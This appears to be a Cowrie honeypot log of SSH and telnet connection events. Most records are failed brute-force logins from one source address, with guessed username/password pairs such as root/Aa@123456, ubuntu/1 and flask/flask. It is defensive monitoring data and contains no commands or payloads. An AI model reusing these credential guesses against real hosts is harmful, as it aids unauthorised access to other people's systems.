{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:20.672982Z","src_ip":"176.65.132.254","session":"82578efc8d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.595988750457764,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:20.712328Z","src_ip":"134.209.8.29","session":"373779fe1869","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:20.945221Z","src_ip":"176.65.132.254","session":"82578efc8d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:22.246375Z","src_ip":"176.65.132.254","session":"82578efc8d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.36675834655762,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:23.116757Z","src_ip":"134.209.8.29","session":"b2542363821d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52286,"dst_ip":"159.203.135.109","dst_port":23,"session":"553ab284fc05","protocol":"telnet","message":"New connection: 134.209.8.29:52286 (159.203.135.109:23) [session: 553ab284fc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:23.297815Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38996,"dst_ip":"10.17.0.5","dst_port":22,"session":"3724285e2959","protocol":"ssh","message":"New connection: 176.65.132.254:38996 (10.17.0.5:22) [session: 3724285e2959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:24.440290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:24.578475Z","src_ip":"176.65.132.254","session":"3724285e2959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:24.583570Z","src_ip":"176.65.132.254","session":"3724285e2959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:25.140170Z","src_ip":"176.65.132.254","session":"3724285e2959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:26.241947Z","src_ip":"176.65.132.254","session":"3724285e2959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.14279580116272,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:28.440499Z","src_ip":"134.209.8.29","session":"553ab284fc05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":39028,"dst_ip":"10.17.0.5","dst_port":22,"session":"50a03245b32b","protocol":"ssh","message":"New connection: 176.65.132.254:39028 (10.17.0.5:22) [session: 50a03245b32b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:28.658481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:28.666413Z","src_ip":"176.65.132.254","session":"50a03245b32b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:28.748523Z","src_ip":"176.65.132.254","session":"50a03245b32b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:29.037624Z","src_ip":"176.65.132.254","session":"50a03245b32b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52296,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eb4e4de4cf8","protocol":"telnet","message":"New connection: 134.209.8.29:52296 (159.203.135.109:23) [session: 8eb4e4de4cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:29.316763Z"}
{"eventid":"cowrie.session.closed","duration":14.79723572731018,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:30.130511Z","src_ip":"134.209.8.29","session":"82dda820bc7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:30.144886Z","src_ip":"176.65.132.254","session":"50a03245b32b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57852,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b293574d214","protocol":"ssh","message":"New connection: 176.65.132.254:57852 (10.17.0.5:22) [session: 4b293574d214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:32.853256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:32.857952Z","src_ip":"176.65.132.254","session":"4b293574d214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:32.939753Z","src_ip":"176.65.132.254","session":"4b293574d214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:33.185774Z","src_ip":"176.65.132.254","session":"4b293574d214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:34.270830Z","src_ip":"176.65.132.254","session":"4b293574d214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57862,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8bac244fe2f","protocol":"ssh","message":"New connection: 176.65.132.254:57862 (10.17.0.5:22) [session: a8bac244fe2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:36.672360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:36.677609Z","src_ip":"176.65.132.254","session":"a8bac244fe2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:36.760625Z","src_ip":"176.65.132.254","session":"a8bac244fe2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:37.008682Z","src_ip":"176.65.132.254","session":"a8bac244fe2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:38.094180Z","src_ip":"176.65.132.254","session":"a8bac244fe2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.503287315368652,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:38.819926Z","src_ip":"134.209.8.29","session":"8eb4e4de4cf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57878,"dst_ip":"10.17.0.5","dst_port":22,"session":"39157af3745f","protocol":"ssh","message":"New connection: 176.65.132.254:57878 (10.17.0.5:22) [session: 39157af3745f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:40.783610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:40.788542Z","src_ip":"176.65.132.254","session":"39157af3745f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:40.875661Z","src_ip":"176.65.132.254","session":"39157af3745f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":48278,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d871d701b0","protocol":"telnet","message":"New connection: 134.209.8.29:48278 (159.203.135.109:23) [session: 89d871d701b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:41.010715Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:41.144331Z","src_ip":"176.65.132.254","session":"39157af3745f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:42.240540Z","src_ip":"176.65.132.254","session":"39157af3745f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.62205243110657,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:43.672881Z","src_ip":"38.54.119.93","session":"c1a867b06494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48882,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb389115117","protocol":"telnet","message":"New connection: 38.54.119.93:48882 (10.17.0.5:23) [session: 8eb389115117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:44.058605Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36778,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd7f0485c706","protocol":"ssh","message":"New connection: 176.65.132.254:36778 (10.17.0.5:22) [session: dd7f0485c706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:44.622713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:44.627860Z","src_ip":"176.65.132.254","session":"dd7f0485c706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:44.710337Z","src_ip":"176.65.132.254","session":"dd7f0485c706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:44.961497Z","src_ip":"176.65.132.254","session":"dd7f0485c706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:46.048402Z","src_ip":"176.65.132.254","session":"dd7f0485c706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36786,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3aa44676f34","protocol":"ssh","message":"New connection: 176.65.132.254:36786 (10.17.0.5:22) [session: a3aa44676f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:48.775149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:48.780093Z","src_ip":"176.65.132.254","session":"a3aa44676f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 